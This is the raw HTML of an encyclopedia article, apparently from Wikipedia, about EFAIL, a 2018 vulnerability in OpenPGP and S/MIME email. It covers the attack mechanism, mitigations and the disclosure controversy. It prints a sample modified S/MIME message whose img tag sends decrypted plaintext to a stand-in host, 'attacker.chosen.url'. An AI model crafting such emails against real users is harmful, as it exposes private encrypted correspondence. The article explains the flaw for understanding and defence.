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srcset="//upload.wikimedia.org/wikipedia/commons/thumb/2/23/Efail_logo.svg/330px-Efail_logo.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/2/23/Efail_logo.svg/440px-Efail_logo.svg.png 2x" data-file-width="283" data-file-height="283" /></a><figcaption>The announcing team's logo for the vulnerability, metaphorically representing plaintext leaking out of an encryption 'envelope'.</figcaption></figure> <p><b>Efail</b>, also written <b>EFAIL</b>, is a <a href="/wiki/Security_hole" class="mw-redirect" title="Security hole">security hole</a> in <a href="/wiki/Email" title="Email">email</a> systems with which content can be transmitted in <a href="/wiki/Encrypted" class="mw-redirect" title="Encrypted">encrypted</a> form. This gap allows attackers to access the decrypted content of an email if it contains active content like <a href="/wiki/HTML_email" title="HTML email">HTML</a><sup id="cite_ref-ars_1-0" class="reference"><a href="#cite_note-ars-1"><span class="cite-bracket">[</span>1<span class="cite-bracket">]</span></a></sup> or <a href="/wiki/JavaScript" title="JavaScript">JavaScript</a>, or if loading of external content has been enabled in the client. Affected email clients include <a href="/wiki/Gmail" title="Gmail">Gmail</a>, <a href="/wiki/Mail_(Apple)" class="mw-redirect" title="Mail (Apple)">Apple Mail</a>, and <a href="/wiki/Microsoft_Outlook" title="Microsoft Outlook">Microsoft Outlook</a>.<sup id="cite_ref-ars_1-1" class="reference"><a href="#cite_note-ars-1"><span class="cite-bracket">[</span>1<span class="cite-bracket">]</span></a></sup> </p><p>Two related <a href="/wiki/Common_Vulnerabilities_and_Exposures" title="Common Vulnerabilities and Exposures">Common Vulnerabilities and Exposures</a> IDs, <a href="/wiki/CVE_(identifier)" class="mw-redirect" title="CVE (identifier)">CVE</a>-<style data-mw-deduplicate="TemplateStyles:r1238218222">.mw-parser-output cite.citation{font-style:inherit;word-wrap:break-word}.mw-parser-output .citation q{quotes:"\"""\"""'""'"}.mw-parser-output .citation:target{background-color:rgba(0,127,255,0.133)}.mw-parser-output .id-lock-free.id-lock-free a{background:url("//upload.wikimedia.org/wikipedia/commons/6/65/Lock-green.svg")right 0.1em center/9px no-repeat}.mw-parser-output .id-lock-limited.id-lock-limited a,.mw-parser-output .id-lock-registration.id-lock-registration a{background:url("//upload.wikimedia.org/wikipedia/commons/d/d6/Lock-gray-alt-2.svg")right 0.1em center/9px no-repeat}.mw-parser-output .id-lock-subscription.id-lock-subscription a{background:url("//upload.wikimedia.org/wikipedia/commons/a/aa/Lock-red-alt-2.svg")right 0.1em center/9px no-repeat}.mw-parser-output .cs1-ws-icon a{background:url("//upload.wikimedia.org/wikipedia/commons/4/4c/Wikisource-logo.svg")right 0.1em center/12px no-repeat}body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-free a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-limited a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-registration a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-subscription a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .cs1-ws-icon a{background-size:contain;padding:0 1em 0 0}.mw-parser-output .cs1-code{color:inherit;background:inherit;border:none;padding:inherit}.mw-parser-output .cs1-hidden-error{display:none;color:var(--color-error,#d33)}.mw-parser-output .cs1-visible-error{color:var(--color-error,#d33)}.mw-parser-output .cs1-maint{display:none;color:#085;margin-left:0.3em}.mw-parser-output .cs1-kern-left{padding-left:0.2em}.mw-parser-output .cs1-kern-right{padding-right:0.2em}.mw-parser-output .citation .mw-selflink{font-weight:inherit}@media screen{.mw-parser-output .cs1-format{font-size:95%}html.skin-theme-clientpref-night .mw-parser-output .cs1-maint{color:#18911f}}@media screen and (prefers-color-scheme:dark){html.skin-theme-clientpref-os .mw-parser-output .cs1-maint{color:#18911f}}</style><a rel="nofollow" class="external text" href="https://nvd.nist.gov/vuln/detail/CVE-2017-17688">2017-17688</a> and CVE-<a rel="nofollow" class="external text" href="https://nvd.nist.gov/vuln/detail/CVE-2017-17689">2017-17689</a>, have been issued. The security gap was made public on 13 May 2018 by Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky and Jörg Schwenk as part of a contribution to the 27th <a href="/wiki/USENIX" title="USENIX">USENIX</a> Security Symposium, Baltimore, August 2018. </p><p>As a result of the vulnerability, the content of an attacked encrypted email can be transmitted to the attacker in plain text by a vulnerable email client. The used encryption keys are not disclosed. </p> <meta property="mw:PageProp/toc" /> <div class="mw-heading mw-heading2"><h2 id="Description">Description</h2><span class="mw-editsection"><span class="mw-editsection-bracket">[</span><a href="/w/index.php?title=EFAIL&action=edit&section=1" title="Edit section: Description"><span>edit</span></a><span class="mw-editsection-bracket">]</span></span></div> <p>The security gap concerns many common email programs when used with the <a href="/wiki/Email_encryption" title="Email encryption">email encryption</a> systems <a href="/wiki/OpenPGP" class="mw-redirect" title="OpenPGP">OpenPGP</a> and <a href="/wiki/S/MIME" title="S/MIME">S/MIME</a>. An attacker needs access to the attacked email message in its encrypted form, as well as the ability to send an email to at least one regular recipient of this original email. To exploit the security gap, the attacker modifies the encrypted email, causing the recipient's email program to send the decrypted content of the email to the attacker. </p><p>To access the decrypted content of an encrypted email, the attacker modifies the email to be attacked to contain text prepared by the attacker in a specific way. The attacker then sends the changed email to one of the regular recipients. </p><p>The attacker inserts additional text before and after the encrypted text in the encrypted email, thereby changing the message so that a multipart/mixed (MIME) message is created and the encrypted part of the message appears together with the limit marks of the MIME message as a parameter value of an HTML tag. </p><p>Example of a modified S/MIME mail: </p> <div class="mw-highlight mw-highlight-lang-email mw-content-ltr" dir="ltr"><pre><span></span><span class="err">[...]</span> <span class="nt">Content-Type:</span><span class="w"> </span><span class="nl">multipart</span><span class="dl">/</span><span class="nl">mixed</span>;<span class="na">boundary</span><span class="o">=</span><span class="s">"BOUNDARY"</span> <span class="err">[...]</span> <span class="err">--BOUNDARY</span> <span class="nt">Content-Type:</span><span class="w"> </span><span class="nl">text</span><span class="dl">/</span><span class="nl">html</span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"http://attacker.chosen.url/</span> <span class="s">--BOUNDARY</span> <span class="s">Content-Type: application/pkcs7-mime;</span> <span class="s"> s-mime-typed-envelope-data</span> <span class="s">Content-Transfer-Encoding: base64</span> <span class="s">ENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGE</span> <span class="s">--BOUNDARY</span> <span class="s">Content-Type: text/html</span> <span class="s">"</span><span class="p">></span> --BOUNDARY ... </pre></div> <p>The email client first breaks down the multipart message into its individual parts using the <code>--BOUNDARY</code> tag and then decrypts the encrypted parts. It then reassembles the multipart message, and receives the message in this way: </p> <div class="mw-highlight mw-highlight-lang-email mw-content-ltr" dir="ltr"><pre><span></span><span class="err">[...]</span> <span class="nt">Content-Type:</span><span class="w"> </span><span class="nl">multipart</span><span class="dl">/</span><span class="nl">mixed</span>;<span class="na">boundary</span><span class="o">=</span><span class="s">"BOUNDARY"</span> <span class="err">[...]</span> <span class="err">--BOUNDARY</span> <span class="nt">Content-Type:</span><span class="w"> </span><span class="nl">text</span><span class="dl">/</span><span class="nl">html</span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"http://attacker.chosen.url/</span> <span class="s">SECRETMESSAGESECRETMESSAGE"</span><span class="p">></span> --BOUNDARY ... </pre></div> <p>This message now contains the decrypted content of the email in the <code>src=</code> attribute of the <code><img></code> tag and is passed by the email program as URL to the web server <code> attacker.chosen.url</code> controlled by the attacker, when this content is requested. The attacker can now retrieve the content of the encrypted message from its web server logs. </p><p>In a variant of the attack, the attacker uses a vulnerability in the <a href="/wiki/Cipher_block_chaining" class="mw-redirect" title="Cipher block chaining">CBC</a> (S/MIME) and <a href="/wiki/Cipher_feedback_mode" class="mw-redirect" title="Cipher feedback mode">CFB</a> (OpenPGP) operating modes of the encryption algorithms used. This allows him to change the <a href="/wiki/Ciphertext" title="Ciphertext">ciphertext</a> by inserting <i><a href="/wiki/Gadget_(machine_instruction_sequence)" class="mw-redirect" title="Gadget (machine instruction sequence)">gadgets</a></i>. As a side effect of this manipulation, the originally contained plain text becomes illegible. If this was known, the attacker can correct this by inserting additional gadgets. The attacker can hide unknown plain text by inserting certain <a href="/wiki/HTML_tag" class="mw-redirect" title="HTML tag">HTML tags</a>. The result is a message with a similar structure as described above. </p> <div class="mw-heading mw-heading2"><h2 id="Mitigations">Mitigations</h2><span class="mw-editsection"><span class="mw-editsection-bracket">[</span><a href="/w/index.php?title=EFAIL&action=edit&section=2" title="Edit section: Mitigations"><span>edit</span></a><span class="mw-editsection-bracket">]</span></span></div> <p>Since the vulnerability is directed against the content of the email and not against the recipient, it is necessary that all recipients implement the countermeasures. These include: </p> <ul><li>Disable active content such as <a href="/wiki/HTML_email" title="HTML email">HTML</a> or <a href="/wiki/JavaScript" title="JavaScript">JavaScript</a> when viewing emails.</li> <li>Suppress automatic reloading of external content, such as images.</li></ul> <p>To what extent even the senders of encrypted content can reduce the vulnerability, e.g. by electronic signatures or the limitation to a subset of MIME formats, has not yet been conclusively clarified. </p> <div class="mw-heading mw-heading2"><h2 id="Critique">Critique</h2><span class="mw-editsection"><span class="mw-editsection-bracket">[</span><a href="/w/index.php?title=EFAIL&action=edit&section=3" title="Edit section: Critique"><span>edit</span></a><span class="mw-editsection-bracket">]</span></span></div> <p>Announcing the security vulnerability on 13 May 2018 the <a href="/wiki/Electronic_Frontier_Foundation" title="Electronic Frontier Foundation">Electronic Frontier Foundation</a> (EFF) recommended to stop using any PGP plugins in email programs even though the vulnerability does not directly relate to PGP but to the configuration of an email program.<sup id="cite_ref-EFF_Twitter_2-0" class="reference"><a href="#cite_note-EFF_Twitter-2"><span class="cite-bracket">[</span>2<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-OBrien_2018_3-0" class="reference"><a href="#cite_note-OBrien_2018-3"><span class="cite-bracket">[</span>3<span class="cite-bracket">]</span></a></sup> A coordinated publication was originally scheduled for the 15 May. The EFF was criticized for ignoring this by various parties.<sup id="cite_ref-EFFail_4-0" class="reference"><a href="#cite_note-EFFail-4"><span class="cite-bracket">[</span>4<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-Enigmail_5-0" class="reference"><a href="#cite_note-Enigmail-5"><span class="cite-bracket">[</span>5<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-Koch_2018_6-0" class="reference"><a href="#cite_note-Koch_2018-6"><span class="cite-bracket">[</span>6<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-Green_2018_7-0" class="reference"><a href="#cite_note-Green_2018-7"><span class="cite-bracket">[</span>7<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-EFFail_Twitter_8-0" class="reference"><a href="#cite_note-EFFail_Twitter-8"><span class="cite-bracket">[</span>8<span class="cite-bracket">]</span></a></sup> </p><p>As a consequence of this, Robert Hansen recommended to establish a closed group or mailing list to better coordinate the publication of future security issues. Still, he saw the EFF and its director <a href="/wiki/Danny_O%27Brien_(journalist)" title="Danny O'Brien (journalist)">Danny O'Brien</a> as the best entity to administer such an "OpenPGP Disclosure Group".<sup id="cite_ref-Hansen_2018_9-0" class="reference"><a href="#cite_note-Hansen_2018-9"><span class="cite-bracket">[</span>9<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading2"><h2 id="References">References</h2><span class="mw-editsection"><span class="mw-editsection-bracket">[</span><a href="/w/index.php?title=EFAIL&action=edit&section=4" title="Edit section: References"><span>edit</span></a><span class="mw-editsection-bracket">]</span></span></div> <style data-mw-deduplicate="TemplateStyles:r1239543626">.mw-parser-output .reflist{margin-bottom:0.5em;list-style-type:decimal}@media screen{.mw-parser-output .reflist{font-size:90%}}.mw-parser-output .reflist .references{font-size:100%;margin-bottom:0;list-style-type:inherit}.mw-parser-output .reflist-columns-2{column-width:30em}.mw-parser-output .reflist-columns-3{column-width:25em}.mw-parser-output .reflist-columns{margin-top:0.3em}.mw-parser-output .reflist-columns ol{margin-top:0}.mw-parser-output .reflist-columns li{page-break-inside:avoid;break-inside:avoid-column}.mw-parser-output .reflist-upper-alpha{list-style-type:upper-alpha}.mw-parser-output .reflist-upper-roman{list-style-type:upper-roman}.mw-parser-output .reflist-lower-alpha{list-style-type:lower-alpha}.mw-parser-output .reflist-lower-greek{list-style-type:lower-greek}.mw-parser-output .reflist-lower-roman{list-style-type:lower-roman}</style><div class="reflist"> <div class="mw-references-wrap"><ol class="references"> <li id="cite_note-ars-1"><span class="mw-cite-backlink">^ <a href="#cite_ref-ars_1-0"><sup><i><b>a</b></i></sup></a> <a href="#cite_ref-ars_1-1"><sup><i><b>b</b></i></sup></a></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222" /><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://arstechnica.com/information-technology/2018/05/decade-old-efail-attack-can-decrypt-previously-obtained-encrypted-e-mails/">"Decade-old Efail flaws can leak plaintext of PGP- and S/MIME-encrypted emails"</a>. <i>arstechnica.com</i>. 2018-05-14.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=arstechnica.com&rft.atitle=Decade-old+Efail+flaws+can+leak+plaintext+of+PGP-+and+S%2FMIME-encrypted+emails&rft.date=2018-05-14&rft_id=https%3A%2F%2Farstechnica.com%2Finformation-technology%2F2018%2F05%2Fdecade-old-efail-attack-can-decrypt-previously-obtained-encrypted-e-mails%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AEFAIL" class="Z3988"></span></span> </li> <li id="cite_note-EFF_Twitter-2"><span class="mw-cite-backlink"><b><a href="#cite_ref-EFF_Twitter_2-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222" /><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://twitter.com/EFF/status/995906839958061056">"EFF on Twitter"</a>. <i>Twitter</i>. <a href="/wiki/Electronic_Frontier_Foundation" title="Electronic Frontier Foundation">Electronic Frontier Foundation</a> (EFF). 2018-05-13<span class="reference-accessdate">. Retrieved <span class="nowrap">2018-05-17</span></span>. <q>To protect yourself, EFF highly recommends that for now you uninstall or disable your PGP email plug-in.</q></cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Twitter&rft.atitle=EFF+on+Twitter&rft.date=2018-05-13&rft_id=https%3A%2F%2Ftwitter.com%2FEFF%2Fstatus%2F995906839958061056&rfr_id=info%3Asid%2Fen.wikipedia.org%3AEFAIL" class="Z3988"></span></span> </li> <li id="cite_note-OBrien_2018-3"><span class="mw-cite-backlink"><b><a href="#cite_ref-OBrien_2018_3-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222" /><cite id="CITEREFO'BrienGebhart2018" class="citation cs2"><a href="/wiki/Danny_O%27Brien_(journalist)" title="Danny O'Brien (journalist)">O'Brien, Danny</a>; Gebhart, Gennie (2018-05-13), <a rel="nofollow" class="external text" href="https://www.eff.org/deeplinks/2018/05/attention-pgp-users-new-vulnerabilities-require-you-take-action-now"><i>Attention PGP Users: New Vulnerabilities Require You To Take Action Now</i></a>, <a href="/wiki/Electronic_Frontier_Foundation" title="Electronic Frontier Foundation">Electronic Frontier Foundation</a> (EFF)<span class="reference-accessdate">, retrieved <span class="nowrap">2018-05-17</span></span></cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=Attention+PGP+Users%3A+New+Vulnerabilities+Require+You+To+Take+Action+Now&rft.pub=Electronic+Frontier+Foundation+%28EFF%29&rft.date=2018-05-13&rft.aulast=O%27Brien&rft.aufirst=Danny&rft.au=Gebhart%2C+Gennie&rft_id=https%3A%2F%2Fwww.eff.org%2Fdeeplinks%2F2018%2F05%2Fattention-pgp-users-new-vulnerabilities-require-you-take-action-now&rfr_id=info%3Asid%2Fen.wikipedia.org%3AEFAIL" class="Z3988"></span></span> </li> <li id="cite_note-EFFail-4"><span class="mw-cite-backlink"><b><a href="#cite_ref-EFFail_4-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222" /><cite class="citation web cs1 cs1-prop-foreign-lang-source"><a rel="nofollow" class="external text" href="https://www.heise.de/newsticker/meldung/Kommentar-Efail-ist-ein-EFFail-4050153.html">"Kommentar: Efail ist ein EFFail"</a>. <i><a href="/wiki/Heise_online" class="mw-redirect" title="Heise online">heise online</a></i> (in German). 2018-05-16<span class="reference-accessdate">. Retrieved <span class="nowrap">2018-05-17</span></span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=heise+online&rft.atitle=Kommentar%3A+Efail+ist+ein+EFFail&rft.date=2018-05-16&rft_id=https%3A%2F%2Fwww.heise.de%2Fnewsticker%2Fmeldung%2FKommentar-Efail-ist-ein-EFFail-4050153.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AEFAIL" class="Z3988"></span></span> </li> <li id="cite_note-Enigmail-5"><span class="mw-cite-backlink"><b><a href="#cite_ref-Enigmail_5-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222" /><cite class="citation web cs1 cs1-prop-foreign-lang-source"><a rel="nofollow" class="external text" href="https://www.heise.de/meldung/Enigmail-Chefentwickler-im-Interview-Efail-Veroeffentlichung-war-unueberlegt-4049783.html">"Enigmail-Chefentwickler im Interview: Efail-Veröffentlichung war "unüberlegt"<span class="cs1-kern-right"></span>"</a>. <i><a href="/wiki/Heise_security" class="mw-redirect" title="Heise security">heise security</a></i> (in German). 2018-05-15<span class="reference-accessdate">. Retrieved <span class="nowrap">2018-05-17</span></span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=heise+security&rft.atitle=Enigmail-Chefentwickler+im+Interview%3A+Efail-Ver%C3%B6ffentlichung+war+%22un%C3%BCberlegt%22&rft.date=2018-05-15&rft_id=https%3A%2F%2Fwww.heise.de%2Fmeldung%2FEnigmail-Chefentwickler-im-Interview-Efail-Veroeffentlichung-war-unueberlegt-4049783.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AEFAIL" class="Z3988"></span></span> </li> <li id="cite_note-Koch_2018-6"><span class="mw-cite-backlink"><b><a href="#cite_ref-Koch_2018_6-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222" /><cite id="CITEREFKoch2018" class="citation web cs1"><a href="/wiki/Werner_Koch" title="Werner Koch">Koch, Werner</a> (2018-05-14). <a rel="nofollow" class="external text" href="https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060315.html">"Efail or OpenPGP is safer than S/MIME"</a>. <i>gnupg-users</i><span class="reference-accessdate">. Retrieved <span class="nowrap">2018-05-17</span></span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=gnupg-users&rft.atitle=Efail+or+OpenPGP+is+safer+than+S%2FMIME&rft.date=2018-05-14&rft.aulast=Koch&rft.aufirst=Werner&rft_id=https%3A%2F%2Flists.gnupg.org%2Fpipermail%2Fgnupg-users%2F2018-May%2F060315.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AEFAIL" class="Z3988"></span></span> </li> <li id="cite_note-Green_2018-7"><span class="mw-cite-backlink"><b><a href="#cite_ref-Green_2018_7-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222" /><cite id="CITEREFGreen2018" class="citation web cs1">Green, Matthew (2018-05-17). <a rel="nofollow" class="external text" href="https://blog.cryptographyengineering.com/2018/05/17/was-the-efail-disclosure-horribly-screwed-up/">"Was the Efail disclosure horribly screwed up?"</a>. <i>A Few Thoughts on Cryptographic Engineering</i><span class="reference-accessdate">. Retrieved <span class="nowrap">2018-05-17</span></span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=A+Few+Thoughts+on+Cryptographic+Engineering&rft.atitle=Was+the+Efail+disclosure+horribly+screwed+up%3F&rft.date=2018-05-17&rft.aulast=Green&rft.aufirst=Matthew&rft_id=https%3A%2F%2Fblog.cryptographyengineering.com%2F2018%2F05%2F17%2Fwas-the-efail-disclosure-horribly-screwed-up%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AEFAIL" class="Z3988"></span></span> </li> <li id="cite_note-EFFail_Twitter-8"><span class="mw-cite-backlink"><b><a href="#cite_ref-EFFail_Twitter_8-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222" /><cite class="citation web cs1 cs1-prop-foreign-lang-source"><a rel="nofollow" class="external text" href="https://twitter.com/hashtag/EFFail">"Hashtag #EFFail auf Twitter"</a> (in German)<span class="reference-accessdate">. Retrieved <span class="nowrap">2018-05-17</span></span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=Hashtag+%23EFFail+auf+Twitter&rft_id=https%3A%2F%2Ftwitter.com%2Fhashtag%2FEFFail&rfr_id=info%3Asid%2Fen.wikipedia.org%3AEFAIL" class="Z3988"></span></span> </li> <li id="cite_note-Hansen_2018-9"><span class="mw-cite-backlink"><b><a href="#cite_ref-Hansen_2018_9-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222" /><cite id="CITEREFHansen2018" class="citation web cs1">Hansen, Robert (2018-05-20). <a rel="nofollow" class="external text" href="https://medium.com/@cipherpunk/efail-a-postmortem-4bef2cea4c08">"Efail: A Postmortem"</a>. <i>medium.com</i><span class="reference-accessdate">. Retrieved <span class="nowrap">2018-05-21</span></span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=medium.com&rft.atitle=Efail%3A+A+Postmortem&rft.date=2018-05-20&rft.aulast=Hansen&rft.aufirst=Robert&rft_id=https%3A%2F%2Fmedium.com%2F%40cipherpunk%2Fefail-a-postmortem-4bef2cea4c08&rfr_id=info%3Asid%2Fen.wikipedia.org%3AEFAIL" class="Z3988"></span></span> </li> </ol></div></div> <div class="mw-heading mw-heading2"><h2 id="Further_reading">Further reading</h2><span class="mw-editsection"><span class="mw-editsection-bracket">[</span><a href="/w/index.php?title=EFAIL&action=edit&section=5" title="Edit section: Further reading"><span>edit</span></a><span class="mw-editsection-bracket">]</span></span></div> <ul><li><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222" /><cite id="CITEREFPoddebniakDresenMüllerIsing" class="citation web cs1">Poddebniak, Damian; Dresen, Christian; Müller, Jens; Ising, Fabian; Schinzel, Sebastian; Friedberger, Simon; Somorovsky, Juraj; Schwenk, Jörg. <a rel="nofollow" class="external text" href="https://efail.de/efail-attack-paper.pdf">"Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels"</a> <span class="cs1-format">(PDF)</span>. <i>Efail.de</i>. Draft 0.9.1. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20180521114951/https://efail.de/efail-attack-paper.pdf">Archived</a> <span class="cs1-format">(PDF)</span> from the original on 2018-05-21<span class="reference-accessdate">. Retrieved <span class="nowrap">2018-05-14</span></span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Efail.de&rft.atitle=Efail%3A+Breaking+S%2FMIME+and+OpenPGP+Email+Encryption+using+Exfiltration+Channels&rft.aulast=Poddebniak&rft.aufirst=Damian&rft.au=Dresen%2C+Christian&rft.au=M%C3%BCller%2C+Jens&rft.au=Ising%2C+Fabian&rft.au=Schinzel%2C+Sebastian&rft.au=Friedberger%2C+Simon&rft.au=Somorovsky%2C+Juraj&rft.au=Schwenk%2C+J%C3%B6rg&rft_id=https%3A%2F%2Fefail.de%2Fefail-attack-paper.pdf&rfr_id=info%3Asid%2Fen.wikipedia.org%3AEFAIL" class="Z3988"></span></li></ul> <div class="mw-heading mw-heading2"><h2 id="External_links">External links</h2><span class="mw-editsection"><span class="mw-editsection-bracket">[</span><a href="/w/index.php?title=EFAIL&action=edit&section=6" title="Edit section: External links"><span>edit</span></a><span class="mw-editsection-bracket">]</span></span></div> <ul><li><a rel="nofollow" class="external text" href="https://efail.de/">Official website</a></li></ul> <div class="navbox-styles"><style data-mw-deduplicate="TemplateStyles:r1129693374">.mw-parser-output .hlist dl,.mw-parser-output .hlist ol,.mw-parser-output .hlist ul{margin:0;padding:0}.mw-parser-output .hlist dd,.mw-parser-output .hlist dt,.mw-parser-output .hlist li{margin:0;display:inline}.mw-parser-output .hlist.inline,.mw-parser-output .hlist.inline dl,.mw-parser-output .hlist.inline ol,.mw-parser-output .hlist.inline ul,.mw-parser-output .hlist dl dl,.mw-parser-output .hlist dl ol,.mw-parser-output .hlist dl ul,.mw-parser-output .hlist ol dl,.mw-parser-output .hlist ol ol,.mw-parser-output .hlist ol ul,.mw-parser-output .hlist ul dl,.mw-parser-output .hlist ul ol,.mw-parser-output .hlist ul ul{display:inline}.mw-parser-output .hlist .mw-empty-li{display:none}.mw-parser-output .hlist dt::after{content:": "}.mw-parser-output .hlist dd::after,.mw-parser-output .hlist li::after{content:" · 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rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1129693374" /><style data-mw-deduplicate="TemplateStyles:r1239400231">.mw-parser-output .navbar{display:inline;font-size:88%;font-weight:normal}.mw-parser-output .navbar-collapse{float:left;text-align:left}.mw-parser-output .navbar-boxtext{word-spacing:0}.mw-parser-output .navbar ul{display:inline-block;white-space:nowrap;line-height:inherit}.mw-parser-output .navbar-brackets::before{margin-right:-0.125em;content:"[ "}.mw-parser-output .navbar-brackets::after{margin-left:-0.125em;content:" ]"}.mw-parser-output .navbar li{word-spacing:-0.125em}.mw-parser-output .navbar a>span,.mw-parser-output .navbar a>abbr{text-decoration:inherit}.mw-parser-output .navbar-mini abbr{font-variant:small-caps;border-bottom:none;text-decoration:none;cursor:inherit}.mw-parser-output .navbar-ct-full{font-size:114%;margin:0 7em}.mw-parser-output .navbar-ct-mini{font-size:114%;margin:0 4em}html.skin-theme-clientpref-night .mw-parser-output .navbar li a abbr{color:var(--color-base)!important}@media(prefers-color-scheme:dark){html.skin-theme-clientpref-os .mw-parser-output .navbar li a abbr{color:var(--color-base)!important}}@media print{.mw-parser-output .navbar{display:none!important}}</style><div class="navbar plainlinks hlist navbar-mini"><ul><li class="nv-view"><a href="/wiki/Template:Hacking_in_the_2010s" title="Template:Hacking in the 2010s"><abbr title="View this template">v</abbr></a></li><li class="nv-talk"><a href="/wiki/Template_talk:Hacking_in_the_2010s" title="Template talk:Hacking in the 2010s"><abbr title="Discuss this template">t</abbr></a></li><li class="nv-edit"><a href="/wiki/Special:EditPage/Template:Hacking_in_the_2010s" title="Special:EditPage/Template:Hacking in the 2010s"><abbr title="Edit this template">e</abbr></a></li></ul></div><div id="Hacking_in_the_2010s789" style="font-size:114%;margin:0 4em">Hacking in the 2010s</div></th></tr><tr><td class="navbox-abovebelow" colspan="2"><div><table style="width:100%; margin:1px; display:inline-table;"><tbody><tr> <td style="text-align:left; vertical-align:middle; padding:0 0.5em 0 0;" class="noprint">← <a href="/wiki/Template:Hacking_in_the_2000s" title="Template:Hacking in the 2000s">2000s</a></td> <td style="text-align:center; vertical-align:middle;; padding:0 1px;" class=""><a href="/wiki/Timeline_of_computer_security_hacker_history#2010s" class="mw-redirect" title="Timeline of computer security hacker history">Timeline</a></td> <td style="text-align:right; vertical-align:middle;; padding:0 0 0 0.5em;" class="noprint"><a href="/wiki/Template:Hacking_in_the_2020s" title="Template:Hacking in the 2020s">2020s</a> →</td> </tr></tbody></table></div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">Major incidents</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"></div><table class="nowraplinks navbox-subgroup" style="border-spacing:0"><tbody><tr><th scope="row" class="navbox-group" style="width:1%">2010</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Operation_Aurora" title="Operation Aurora">Operation Aurora</a> (publication of 2009 events)</li> <li><a href="/wiki/February_2010_Australian_cyberattacks" title="February 2010 Australian cyberattacks">Australian cyberattacks</a></li> <li><a href="/wiki/Operation_Olympic_Games" title="Operation Olympic Games">Operation Olympic Games</a></li> <li><a href="/wiki/Shadow_Network" title="Shadow Network">Operation ShadowNet</a></li> <li><a href="/wiki/Operation_Payback" title="Operation Payback">Operation Payback</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2011</th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/2011_Canadian_government_hackings" title="2011 Canadian government hackings">Canadian government</a></li> <li><a 